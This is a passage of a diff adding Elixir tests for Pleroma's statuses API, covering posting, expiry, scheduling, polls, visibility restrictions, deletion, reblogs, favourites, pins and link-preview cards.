assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) + + assert Activity.get_by_id(fourth_id) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: fourth_id}, + scheduled_at: expires_at + ) + end + + test "it fails to create a status if `expires_in` is less or equal than an hour", %{ + conn: conn + } do + # 1 minute + expires_in = 1 * 60 + + assert %{"error" => "Expiry date is too soon"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(422) + + # 5 minutes + expires_in = 5 * 60 + + assert %{"error" => "Expiry date is too soon"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(422) + end + + test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do + Config.put([:mrf_keyword, :reject], ["GNO"]) + Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{"status" => "GNO/Linux"}) + |> json_response_and_validate_schema(422) + end + + test "posting an undefined status with an attachment", %{user: user, conn: conn} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)] + }) + + assert json_response_and_validate_schema(conn, 200) + end + + test "replying to a status", %{user: user, conn: conn} do + {:ok, replied_to} = CommonAPI.post(user, %{status: "cofe"}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) + + activity = Activity.get_by_id(id) + + assert activity.data["context"] == replied_to.data["context"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + end + + test "replying to a direct message with visibility other than direct", %{ + user: user, + conn: conn + } do + {:ok, replied_to} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) + + Enum.each(["public", "private", "unlisted"], fn visibility -> + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "@#{user.nickname} hey", + "in_reply_to_id" => replied_to.id, + "visibility" => visibility + }) + + assert json_response_and_validate_schema(conn, 422) == %{ + "error" => "The message visibility must be direct" + } + end) + end + + test "posting a status with an invalid in_reply_to_id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200) + assert Activity.get_by_id(id) + end + + test "posting a sensitive status", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) + + assert %{"content" => "cofe", "id" => id, "sensitive" => true} = + json_response_and_validate_schema(conn, 200) + + assert Activity.get_by_id(id) + end + + test "posting a fake status", %{conn: conn} do + real_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" + }) + + real_status = json_response_and_validate_schema(real_conn, 200) + + assert real_status + assert Object.get_by_ap_id(real_status["uri"]) + + real_status = + real_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> Kernel.put_in(["pleroma", "conversation_id"], nil) + + fake_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", + "preview" => true + }) + + fake_status = json_response_and_validate_schema(fake_conn, 200) + + assert fake_status + refute Object.get_by_ap_id(fake_status["uri"]) + + fake_status = + fake_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> Kernel.put_in(["pleroma", "conversation_id"], nil) + + assert real_status == fake_status + end + + test "fake statuses' preview card is not cached", %{conn: conn} do + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + conn1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp", + "preview" => true + }) + + conn2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/twitter-card", + "preview" => true + }) + + assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) + + assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = + json_response_and_validate_schema(conn2, 200) + end + + test "posting a status with OGP link preview", %{conn: conn} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + clear_config([:rich_media, :enabled], true) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp" + }) + + assert %{"id" => id, "card" => %{"title" => "The Rock"}} = + json_response_and_validate_schema(conn, 200) + + assert Activity.get_by_id(id) + end + + test "posting a direct status", %{conn: conn} do + user2 = insert(:user) + content = "direct cofe @#{user2.nickname}" + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) + + assert %{"id" => id} = response = json_response_and_validate_schema(conn, 200) + assert response["visibility"] == "direct" + assert response["pleroma"]["direct_conversation_id"] + assert activity = Activity.get_by_id(id) + assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] + assert activity.data["to"] == [user2.ap_id] + assert activity.data["cc"] == [] + end + end + + describe "posting scheduled statuses" do + setup do: oauth_access(["write:statuses"]) + + test "creates a scheduled activity", %{conn: conn} do + scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = + json_response_and_validate_schema(conn, 200) + + assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at) + assert [] == Repo.all(Activity) + end + + test "ignores nil values", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "not scheduled", + "scheduled_at" => nil + }) + + assert result = json_response_and_validate_schema(conn, 200) + assert Activity.get_by_id(result["id"]) + end + + test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(120), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)], + "status" => "scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"media_attachments" => [media_attachment]} = + json_response_and_validate_schema(conn, 200) + + assert %{"type" => "image"} = media_attachment + end + + test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", + %{conn: conn} do + scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "not scheduled", + "scheduled_at" => scheduled_at + }) + + assert %{"content" => "not scheduled"} = json_response_and_validate_schema(conn, 200) + assert [] == Repo.all(ScheduledActivity) + end + + test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + # TODO + |> Kernel.<>("Z") + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) + + assert %{"error" => "daily limit exceeded"} == json_response_and_validate_schema(conn, 422) + end + + test "returns error when total user limit is exceeded", %{user: user, conn: conn} do + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + tomorrow = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.hours(36), :millisecond) + |> NaiveDateTime.to_iso8601() + |> Kernel.<>("Z") + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) + + assert %{"error" => "total limit exceeded"} == json_response_and_validate_schema(conn, 422) + end + end + + describe "posting polls" do + setup do: oauth_access(["write:statuses"]) + + test "posting a poll", %{conn: conn} do + time = NaiveDateTime.utc_now() + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "Who is the #bestgrill?", + "poll" => %{ + "options" => ["Rei", "Asuka", "Misato"], + "expires_in" => 420 + } + }) + + response = json_response_and_validate_schema(conn, 200) + + assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> + title in ["Rei", "Asuka", "Misato"] + end) + + assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 + refute response["poll"]["expred"] + + question = Object.get_by_id(response["poll"]["id"]) + + # closed contains utc timezone + assert question.data["closed"] =~ "Z" + end + + test "option limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_options]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "desu~", + "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Poll can't contain more than #{limit} options" + end + + test "option character limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_option_chars]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "...", + "poll" => %{ + "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], + "expires_in" => 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Poll options cannot be longer than #{limit} characters each" + end + + test "minimal date limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :min_expiration]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit - 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Expiration date is too soon" + end + + test "maximum date limit is enforced", %{conn: conn} do + limit = Config.get([:instance, :poll_limits, :max_expiration]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "imagine arbitrary limits", + "poll" => %{ + "options" => ["this post was made by pleroma gang"], + "expires_in" => limit + 1 + } + }) + + %{"error" => error} = json_response_and_validate_schema(conn, 422) + assert error == "Expiration date is too far in the future" + end + end + + test "get a status" do + %{conn: conn} = oauth_access(["read:statuses"]) + activity = insert(:note_activity) + + conn = get(conn, "/api/v1/statuses/#{activity.id}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == to_string(activity.id) + end + + defp local_and_remote_activities do + local = insert(:note_activity) + remote = insert(:note_activity, local: false) + {:ok, local: local, remote: remote} + end + + describe "status with restrict unauthenticated activities for local and remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "status with restrict unauthenticated activities for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + describe "status with restrict unauthenticated activities for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + + assert json_response_and_validate_schema(res_conn, :not_found) == %{ + "error" => "Record not found" + } + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + res_conn = get(conn, "/api/v1/statuses/#{local.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + + res_conn = get(conn, "/api/v1/statuses/#{remote.id}") + assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) + end + end + + test "getting a status that doesn't exist returns 404" do + %{conn: conn} = oauth_access(["read:statuses"]) + activity = insert(:note_activity) + + conn = get(conn, "/api/v1/statuses/#{String.downcase(activity.id)}") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "get a direct status" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "direct"}) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/statuses/#{activity.id}") + + [participation] = Participation.for_user(user) + + res = json_response_and_validate_schema(conn, 200) + assert res["pleroma"]["direct_conversation_id"] == participation.id + end + + test "get statuses by IDs" do + %{conn: conn} = oauth_access(["read:statuses"]) + %{id: id1} = insert(:note_activity) + %{id: id2} = insert(:note_activity) + + query_string = "ids[]=#{id1}&ids[]=#{id2}" + conn = get(conn, "/api/v1/statuses/?#{query_string}") + + assert [%{"id" => ^id1}, %{"id" => ^id2}] = + Enum.sort_by(json_response_and_validate_schema(conn, :ok), & &1["id"]) + end + + describe "getting statuses by ids with restricted unauthenticated for local and remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert json_response_and_validate_schema(res_conn, 200) == [] + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "getting statuses by ids with restricted unauthenticated for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + remote_id = remote.id + assert [%{"id" => ^remote_id}] = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "getting statuses by ids with restricted unauthenticated for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + local_id = local.id + assert [%{"id" => ^local_id}] = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "deleting a status" do + test "when you created it" do + %{user: author, conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity, user: author) + object = Object.normalize(activity) + + content = object.data["content"] + source = object.data["source"] + + result = + conn + |> assign(:user, author) + |> delete("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(200) + + assert match?(%{"content" => ^content, "text" => ^source}, result) + + refute Activity.get_by_id(activity.id) + end + + test "when it doesn't exist" do + %{user: author, conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity, user: author) + + conn = + conn + |> assign(:user, author) + |> delete("/api/v1/statuses/#{String.downcase(activity.id)}") + + assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) + end + + test "when you didn't create it" do + %{conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity) + + conn = delete(conn, "/api/v1/statuses/#{activity.id}") + + assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) + + assert Activity.get_by_id(activity.id) == activity + end + + test "when you're an admin or moderator", %{conn: conn} do + activity1 = insert(:note_activity) + activity2 = insert(:note_activity) + admin = insert(:user, is_admin: true) + moderator = insert(:user, is_moderator: true) + + res_conn = + conn + |> assign(:user, admin) + |> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"])) + |> delete("/api/v1/statuses/#{activity1.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + + res_conn = + conn + |> assign(:user, moderator) + |> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"])) + |> delete("/api/v1/statuses/#{activity2.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + + refute Activity.get_by_id(activity1.id) + refute Activity.get_by_id(activity2.id) + end + end + + describe "reblogging" do + setup do: oauth_access(["write:statuses"]) + + test "reblogs and returns the reblogged status", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, + "reblogged" => true + } = json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 if the reblogged status doesn't exist", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{String.downcase(activity.id)}/reblog") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + + test "reblogs privately and returns the reblogged status", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/v1/statuses/#{activity.id}/reblog", + %{"visibility" => "private"} + ) + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, + "reblogged" => true, + "visibility" => "private" + } = json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "reblogged status for another user" do + activity = insert(:note_activity) + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + {:ok, _} = CommonAPI.favorite(user2, activity.id) + {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) + {:ok, reblog_activity1} = CommonAPI.repeat(activity.id, user1) + {:ok, _} = CommonAPI.repeat(activity.id, user2) + + conn_res = + build_conn() + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, + "reblogged" => false, + "favourited" => false, + "bookmarked" => false + } = json_response_and_validate_schema(conn_res, 200) + + conn_res = + build_conn() + |> assign(:user, user2) + |> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"])) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, + "reblogged" => true, + "favourited" => true, + "bookmarked" => true + } = json_response_and_validate_schema(conn_res, 200) + + assert to_string(activity.id) == id + end + end + + describe "unreblogging" do + setup do: oauth_access(["write:statuses"]) + + test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do + activity = insert(:note_activity) + + {:ok, _} = CommonAPI.repeat(activity.id, user) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/unreblog") + + assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 error when activity does not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/foo/unreblog") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "favoriting" do + setup do: oauth_access(["write:favourites"]) + + test "favs a status and returns it", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + + assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "favoriting twice will just return 200", %{conn: conn} do + activity = insert(:note_activity) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + |> json_response_and_validate_schema(200) + end + + test "returns 404 error for a wrong id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/favourite") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "unfavoriting" do + setup do: oauth_access(["write:favourites"]) + + test "unfavorites a status and returns it", %{user: user, conn: conn} do + activity = insert(:note_activity) + + {:ok, _} = CommonAPI.favorite(user, activity.id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/unfavourite") + + assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 error for a wrong id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/unfavourite") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "pinned statuses" do + setup do: oauth_access(["write:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + + %{activity: activity} + end + + setup do: clear_config([:instance, :max_pinned_statuses], 1) + + test "pin status", %{conn: conn, user: user, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/pin") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^id_str, "pinned" => true}] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + + test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do + {:ok, dm} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{dm.id}/pin") + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not pin"} + end + + test "unpin status", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.pin(activity.id, user) + user = refresh_record(user) + + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "pinned" => false} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unpin") + |> json_response_and_validate_schema(200) + + assert [] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + + test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/unpin") + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not unpin"} + end + + test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do + {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) + + id_str_one = to_string(activity_one.id) + + assert %{"id" => ^id_str_one, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id_str_one}/pin") + |> json_response_and_validate_schema(200) + + user = refresh_record(user) + + assert %{"error" => "You have already pinned the maximum number of statuses"} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity_two.id}/pin") + |> json_response_and_validate_schema(400) + end + + test "on pin removes deletion job, on unpin reschedule deletion" do + %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + assert %{"id" => id} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/pin") + |> json_response_and_validate_schema(200) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/unpin") + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + end + end + + describe "cards" do + setup do + Config.put([:rich_media, :enabled], true) + + oauth_access(["read:statuses"]) + end + + test "returns rich-media card", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp"}) + + card_data = %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "title" => "The Rock", + "type" => "link", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "pleroma" => %{ + "opengraph" => %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock", + "type" => "video.movie", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." + } + } + } + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(200) + + assert response == card_data + + # works with private posts + {:ok, activity} = + CommonAPI.post(user, %{status: "https://example.com/ogp", visibility: "direct"}) + + response_two = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(200) + + assert response_two == card_data + end + + test "replaces missing description with an empty string", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp-missing-data"}) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(:ok) + + assert response == %{ + "type" => "link", + "title" => "Pleroma", + "description" => "", + "image" => nil, + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "url" => "https://example.com/ogp-missing-data", + "pleroma" => %{ + "opengraph" => %{ + "title" => "Pleroma", + "type" => "website", + "url" => "https://example.com/ogp-missing-data" + } + } + } + end + end + + test "bookmarks" do + 